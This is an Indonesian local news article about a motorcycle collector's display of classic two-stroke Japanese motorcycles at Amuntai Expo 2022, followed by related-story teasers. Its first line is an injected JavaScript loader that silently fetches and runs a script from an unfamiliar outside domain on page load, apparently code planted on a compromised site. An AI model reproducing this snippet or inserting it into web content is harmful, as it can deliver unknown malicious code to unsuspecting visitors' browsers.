(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Berbagai jenis motor klasik dan tua era masih 2-Tak turut memberi warna tersendiri gelaran Amuntai Expo 2022, 14 -22 Mei, di Jalan Basuki Rahmat, Amuntai.
Adalah stand PT Adelian Karya Puteri (PT AKP) milik H Syahrujani yang merupakan kolektor sepeda motor tua dan klasik asal Amuntai, ikut menarik perhatian dalam Amuntai Expo.
Puluhan model dan merek motor pabrikan Jepang -Yamaha, Suzuki dan Honda- terpajang di stand PT AKP, mulai dari jenis scooter, bebek, hingga sport yang masa produksinya puluhan tahun silam.
Menurut H Jani -sapaan sang kolektor motor tua yang juga Direktur Utama PT AKP, terkumpulnya puluhan motor ini dilatarbelakangi keinginannya yang tidak dapat dipenuhi saat masa lalu. Sehingga menjadikan motivasi untuk menjadi dasar dalam menyalurkan kegemaran menjadi kolektor motor klasik di kemudian hari.
Baca juga : Antisipasi Penyakit Mulut dan Kuku, Dinas Pertanian HSU Sosialisasi ke Peternak
Ia menambahkan perlu waktu sekitar 15 tahun lebih baginya untuk berburu dan kemudian mengoleksi berbagai sepeda motor legendaris. Bahkan untuk mendapatkannya sampai harus keluar pulau.
“Perlu waktu sekitar 15 tahunan untuk mengoleksi sepeda motor sebanyak ini, bahkan ada satu unit yang kami beli di luar pulau tepatnya di daerah Yogyakarta,” ujar H Syahrujani kepada kanalkalimantan.com, Kamis (19/5/2022) petang.
Lebih lanjut, ada beberapa koleksi motor tua yang paling berkesan hingga sangat sulit dilupakan.
“Ini sepeda motor merek Yamaha atau dikenal Yamaha engkal merupakan kendaraan orangtua saya, dimana saat saya masih anak-anak saya sering duduk di depan sini dan pernah ditawar Rp 50 juta dan tidak saya jual,” beber politisi Partai Golkar Kabupaten HSU ini.
Baca juga : HUT ke-19 Kabupaten Balangan Meriah, Bupati Abdul Hadi Beber Capaian Pembangunan Daerah
Selain sepeda motor yang disebutkannya tadi, juga tampak beberapa sepeda motor yang pernah mendapatkan penghargaan atas ke orisinilitas dan keunikan dari tampilan sepeda motor berumur lebih 15 hingga 30 tahun lebih tersebut.
Terakhir, ia berharap kegiatan atau hobinya ini dapat terus berlanjut mengingat sebagai pengurus Ikatan Motor Indonesia (IMI) Kalimantan Selatan kegiatan ini merupakan bagian program kerja dari organisasi IMI.
“Semoga hobi ini bermanfaat bagi saya, teman- teman serta berbagai komunitas motor yang ada di Banua, mari kita lestarikan bersama motor tua dan klasik,” pungkasnya. (kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.